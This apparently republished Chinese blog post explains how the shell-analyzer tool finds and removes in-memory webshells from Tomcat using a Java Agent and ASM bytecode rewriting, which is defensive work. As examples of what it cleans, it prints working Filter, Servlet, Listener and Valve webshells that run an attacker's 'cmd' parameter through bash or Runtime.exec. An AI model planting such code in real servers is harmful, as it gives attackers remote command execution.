4ra1n 10月24日 00:46
shell-analyzer内存马查杀工具详解
index_new5.html
../../../zaker_core/zaker_tpl_static/wap/tpl_guoji1.html

 

本文介绍了内存马查杀工具 shell-analyzer 的实现原理,该工具能够检测并清除远程 Tomcat 容器中的内存马。它通过 Java Agent 技术,将 Agent 挂载到目标 Tomcat 上,并通过 Socket 监听端口接收指令,执行相应的清除操作。工具支持清除 Filter、Servlet、Listener 和 Valve 等类型的内存马,并提供了远程检测和清除功能。

shell-analyzer 是一款基于 Java Agent 技术的内存马查杀工具,能够检测并清除远程 Tomcat 容器中的内存马。它通过将 Agent 挂载到目标 Tomcat 上,并通过 Socket 监听端口接收指令,执行相应的清除操作。

工具支持清除 Filter、Servlet、Listener 和 Valve 等类型的内存马。对于不同类型的内存马,工具会根据其特点编写不同的 Transformer 类和字节码处理逻辑,以实现清除目标代码的目的。

工具提供了远程检测和清除功能。用户可以将 remote.jar 和 agent.jar 上传到目标服务器,并执行命令将 agent attach 到需要检测的 JVM 中,开始监听端口。客户端 GUI 程序通过 Socket 发送封装好的数据到目标端口,即可实现对应的功能。

工具使用密码验证机制,确保只有授权用户才能执行清除操作。此外,工具还提供了多种命令,如 等,方便用户进行操作。

4ra1n 2023-02-15 02:12 浙江

本文介绍内存马查杀工具 shell-analyzer 如何实现远程内存马的检测与清除

01 介绍

在上一篇文章里,我简单分享了工具的检测原理:

内存马检测工具shell-analyzer(1)最初版展示与设计思路

今天我将项目开源了,地址是:

https://github.com/4ra1n/shell-analyzer

本文将分享如何实现清除内存马,上文是“查”,本文是“杀”

02 远程

在上一篇文章中提到本工具的设计思路:

(1)将 Agent attach 到目标 Tomcat 上

(2)目标 Tomcat 通过 Socket 监听某个端口

(3)shell-analyzer 发送操作命令到该端口

(4)Tomcat 根据操作命令执行对应的逻辑并返回

当本地运行的时候,以上的逻辑足够;但远程检测的情况下,对端口进行基础的保护(自定义ObjectInputStream)之后,应该加入进一步的鉴权逻辑

Java Agent 支持参数,在 Attach 时加入参数

    VirtualMachine vm = VirtualMachine.attach(pid);Path agentPath = Paths.get("agent.jar");String path = agentPath.toAbsolutePath().toString();// 密码参数vm.loadAgent(path,password);
    通过 agentmain 入口的 agentArgs 参数即可拿到上文密码

      public static void agentmain(String agentArgs, Instrumentation ins) {    if (agentArgs == null || agentArgs.trim().equals("")) {        return;    }    if (agentArgs.length() != 8) {        return;    }    PASSWORD = agentArgs;    // 。。。}
      使用 <FILTERS> 等命令获取所有组件信息的时候,需要先进行验证,命令格式为:<FILTERS>PASSWORD (其他组件类似)

        if (targetClass.startsWith("<FILTERS>")) {    String PASS = targetClass.split("<FILTERS>")[1];    if (!PASS.equals(Agent.PASSWORD)) {        System.out.println("!!! ERROR PASSWORD");        return;    }    List<String> classList = new ArrayList<>();    for (Class<?> c : Agent.staticClasses) {    //...    }  }
        另外新增了 <KILL-X> 命令,允许指定任意类名,任意类型的组件,进行清除内存马操作,命令格式如下:<KILL-FILTER>PASSWORD|CLASSNAME

          if (targetClass.startsWith("<KILL-FILTER>")) {    String f = targetClass.split("<KILL-FILTER>")[1];    // 密码验证    if (!f.split("\\|")[0].equals(Agent.PASSWORD)) {        System.out.println("!!! ERROR PASSWORD");        return;    }    f = f.split("\\|")[1];    System.out.println("kill filter: " + f);    FilterKill fk = new FilterKill(f);    for (Class<?> c : Agent.staticClasses) {        if (c.getName().equals(f)) {            Agent.staticIns.addTransformer(fk, true);            Agent.staticIns.retransformClasses(c);            Agent.staticIns.removeTransformer(fk);        }    }}
          由于清除内存马的操作,需要 retransform class 操作,因此需要根据不同的组件类型,编写不同的 Transformer 类和字节码处理逻辑

          通过 addTransformer 添加自定义的 Transformer 类,使用 retransformClasses 方法修改字节码,修改完成后通过 removeTransformer 方法移除新增的 Transformer 类使该类不会影响后续操作

          对于远程查杀的情况,我编写了一个简易的 RemoteLoader 包,实际上只是封装了 Attach 指定 Agent 到本地 JVM 的一个方法

          用户手动登录目标服务器,上传 remote.jar 与 agent.jar 后执行以下命令将准备好的 agent attach 到需要检测的 JVM 中,开始监听 10032 端口

            java -cp /remote.jar:tools.jar com.n1ar4.RemoteLoader [PID] [PASSWORD]
            在客户端 GUI 程序中,输入远程 IP 和对应的密码后,通过 Socket 发送封装好的数据到目标 10032 端口,即可实现对应的功能

            清除内存马的 transforme 方法类似,使用 ASM ClassWriter 读取字节码,修改 JVM 指令后返回新的字节码,再进行 retransform 操作

              @Overridepublic byte[] transform(ClassLoader loader,                        String className, Class<?> clsMemShell,                        ProtectionDomain protectionDomain,                        byte[] classfileBuffer) {    try {        className = className.replace("/", ".");        if (className.equals(this.className)) {            ClassReader cr = new ClassReader(classfileBuffer);            ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES);            int api = Opcodes.ASM9;            ClassVisitor cv = new FilterKillClassVisitor(api, cw);            int parsingOptions = ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES;            cr.accept(cv, parsingOptions);            return cw.toByteArray();        }    } catch (Exception ex) {        ex.printStackTrace();    }    return new byte[0];}
              03 清除 Filter 类型

              首先来分析最常见的 Filter 类型,这是网上流程的 Filter 内存马代码,可以发现执行完内存马逻辑后,调用 doFilter 方法继续传递

                @Overridepublic void doFilter(ServletRequest arg0, ServletResponse arg1, FilterChain arg2)      throws IOException, ServletException {   HttpServletRequest req = (HttpServletRequest)arg0;   if (req.getParameter("cmd") != null) {      byte[] data = new byte[1024];      Process p = new ProcessBuilder("/bin/bash","-c", req.getParameter("cmd")).start();      int len = p.getInputStream().read(data);      p.destroy();      arg1.getWriter().write(new String(data, 0, len));      return;   }   arg2.doFilter(arg0, arg1);}
                由于在 Tomcat 中 Filters 是一条链,如果这一条链在中间断开,将会导致未知的问题,以至服务不可用。所以需要使用 filterChain.doFilter 方法传递

                清空内存马的 Filter 代码应该如下

                  @Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,                   FilterChain filterChain) throws IOException, ServletException {  filterChain.doFilter(servletRequest,servletResponse);}
                  不难写出对应的 ASM 代码,当我们分析到 Filter 类的 doFilter 方法时,将整个方法 Body 替换为以下部分,即可继续传递解决 Filter 内存马

                    if (mv != null && name.equals("doFilter") &&        descriptor.equals("(Ljavax/servlet/ServletRequest;" +                "Ljavax/servlet/ServletResponse;Ljavax/servlet/FilterChain;)V")) {    mv.visitCode();    mv.visitVarInsn(ALOAD, 3);    mv.visitVarInsn(ALOAD, 1);    mv.visitVarInsn(ALOAD, 2);    mv.visitMethodInsn(INVOKEINTERFACE, "javax/servlet/FilterChain",            "doFilter", "(Ljavax/servlet/ServletRequest;" +                    "Ljavax/servlet/ServletResponse;)V", true);    mv.visitInsn(RETURN);    mv.visitMaxs(3, 4);    mv.visitEnd();    return mv;}
                    顺便我处理了另一种情况,继承 HttpServlet 的 doFilter 方法,方法名一致不过参数不一致,代码逻辑和上文一致,都是调用第三个参数的 doFilter 方法以继续传递,压栈指令和方法调用指令一致

                      public class TestFilter extends HttpFilter {    @Override    protected void doFilter(HttpServletRequest req,                            HttpServletResponse res,                            FilterChain chain) throws IOException, ServletException {        chain.doFilter(req, res);    }}
                      04 清除 Servlet 类型

                      网传的 Servlet 内存马代码如下,继承 HttpServlet 后重写 doGet

                        @Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {    String cmd;    if ((cmd = req.getParameter(cmdParamName)) != null) {        Process process = Runtime.getRuntime().exec(cmd);        java.io.BufferedReader bufferedReader = new java.io.BufferedReader(                new java.io.InputStreamReader(process.getInputStream()));        StringBuilder stringBuilder = new StringBuilder();        String line;        while ((line = bufferedReader.readLine()) != null) {            stringBuilder.append(line + '\n');        }        resp.getOutputStream().write(stringBuilder.toString().getBytes());        resp.getOutputStream().flush();        resp.getOutputStream().close();        return;    }}
                        对于 Servlet 来说不存在 Filter 的传递问题,所以直接 return 返回即可。不过需要注意,doPost doPut 等多个方法都有可能存在问题,修复方式一致

                          if (mv != null && (name.equals("doGet") || name.equals("doPost")        || name.equals("doDelete") || name.equals("doHead") || name.equals("doOptions")        || name.equals("doPut") || name.equals("doTrace")) &&        descriptor.equals("(Ljavax/servlet/http/HttpServletRequest;" +                "Ljavax/servlet/http/HttpServletResponse;)V")) {    mv.visitCode();    mv.visitInsn(RETURN);    mv.visitMaxs(0, 3);    mv.visitEnd();}
                          另外一种 Servlet 内存马应该是继承自 Servlet 接口的,实现 service 方法

                            @Overridepublic void service(ServletRequest servletRequest,                    ServletResponse servletResponse) throws ServletException, IOException {    return;}
                            这种情况的清除逻辑类似,直接返回

                              if (mv != null && name.equals("service") &&        descriptor.equals("(Ljavax/servlet/ServletRequest;Ljavax/servlet/ServletResponse;)V")) {    mv.visitCode();    mv.visitInsn(RETURN);    mv.visitMaxs(0, 3);    mv.visitEnd();    return mv;}
                              05 清除 Listener 类型

                              网传的 Listener 内存马代码如下,每创建一个 ServletRequest 对象都会调用 requestInitialized 方法,类似销毁调用 requestDestroyed 方法

                                public class ListenerDemo implements ServletRequestListener {    public void requestDestroyed(ServletRequestEvent sre) {        System.out.println("requestDestroyed");    }    public void requestInitialized(ServletRequestEvent sre) {        System.out.println("requestInitialized");        try{            String cmd = sre.getServletRequest().getParameter("cmd");            Runtime.getRuntime().exec(cmd);        }catch (Exception e ){        }    }}
                                我们只需要将 requestDestroyed 和 requestInitialized 方法返回空即可

                                  MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);if (mv != null && (name.equals("requestDestroyed") || name.equals("requestInitialized")) &&        descriptor.equals("(Ljavax/servlet/ServletRequestEvent;)V")) {    mv.visitCode();    mv.visitInsn(RETURN);    mv.visitMaxs(0, 2);    mv.visitEnd();    return mv;}
                                  06 清除 Valve 类型

                                  网传的 Valve 内存马会导致服务不可用,因为这里有类似 Filter 的问题,需要进行继续传递,不能在某一个 Valve 中阻断,需要调用 getNext 并 invoke 调用下一个 Valve 的执行方法

                                    @Overridepublic void invoke(Request request, Response response) throws IOException, ServletException {    String cmd = request.getParameter("cmd");    if (cmd !=null){        try{            Runtime.getRuntime().exec(cmd);        }catch (IOException e){            e.printStackTrace();        }catch (NullPointerException n){            n.printStackTrace();        }    }    // 网传内存马没有这一行会导致问题    getNext().invoke(request, response);}
                                    被修复后的 Valve 内存马应该长这样

                                      @Overridepublic void invoke(Request request, Response response)        throws IOException, ServletException {    this.getNext().invoke(request, response);}
                                      JVM 指令是这样

                                        if (mv != null && name.equals("invoke") &&        descriptor.equals("(Lorg/apache/catalina/connector/Request;" +                "Lorg/apache/catalina/connector/Response;)V")) {    mv.visitCode();    mv.visitVarInsn(ALOAD, 0);    mv.visitMethodInsn(INVOKEVIRTUAL, owner,            "getNext", "()Lorg/apache/catalina/Valve;", false);    mv.visitVarInsn(ALOAD, 1);    mv.visitVarInsn(ALOAD, 2);    mv.visitMethodInsn(INVOKEINTERFACE, "org/apache/catalina/Valve",            "invoke", "(Lorg/apache/catalina/connector/Request;" +                    "Lorg/apache/catalina/connector/Response;)V", true);    mv.visitInsn(RETURN);    mv.visitMaxs(3, 3);    mv.visitEnd();    return mv;}
                                        07 清除 Java Agent 类型

                                        由于各种原因,工具不打算集成 Java Agent 内存马的查杀

                                        Agent 内存马查杀相对容易,使用 SA-JDI 的 HSDB 直接 dump 常见的几个类,然后使用 IDEA 等反编译工具即可得到 Java 代码

                                        (1)javax/servlet/http/HttpServlet service

                                        (2)org/apache/catalina/core/ApplicationFilterChain doFilter

                                        (3)org/springframework/web/servlet/DispatcherServlet doService

                                        (4)org/apache/tomcat/websocket/server/WsFilter doFilter

                                        对以上这些常见类的方法进行分析,即可得到需要的结果

                                        08 一些问题

                                        工具目前存在几个明显的问题:

                                        (0)虽然我举例用的是 Tomcat 容器,但只要是实现了 Servlet 规范的容器或中间件,理论上本工具都可以进行查杀(但 Valve 是 Tomcat 独有)

                                        (1)动态 Agent 在罕见条件下会打崩 Tomcat 因此暂不要在生产环境测试,可以自己测试靶机来验证查杀内存马的效果

                                        (2)虽然我已经自定义 ObjectInputStream 并加入密码来保护端口,但 Java 的反序列化机制本身不够安全,存在拒绝服务等问题。我为什么要使用 Java 原生序列化来传递数据呢?图个方便

                                        (3)当你清除掉某个内存马后,其实你还是可以获得这个内存马类的字节码,因为通过 Java Agent 拿到的字节码不是真正的字节码,被 Java Agent 修改过的字节码不会变化,再次拿到的还是修改之前的字节码

                                        (4)注意使用 JDK 而不是 JRE 来运行,以 Windows 为例,在 JRE 的 bin 目录中,不存在 attach.dll 等库,会导致无法 attach 和分析

                                        阅读原文

                                        跳转微信打开

                                        Fish AI Reader

                                        Fish AI Reader

                                        AI辅助创作,多种专业模板,深度分析,高质量内容生成。从观点提取到深度思考,FishAI为您提供全方位的创作支持。新版本引入自定义参数,让您的创作更加个性化和精准。

                                        FishAI

                                        FishAI

                                        鱼阅,AI 时代的下一个智能信息助手,助你摆脱信息焦虑

                                        联系邮箱 441953276@qq.com

                                        相关标签

                                        shell-analyzer 内存马查杀 Java Agent Tomcat 网络安全
                                        相关文章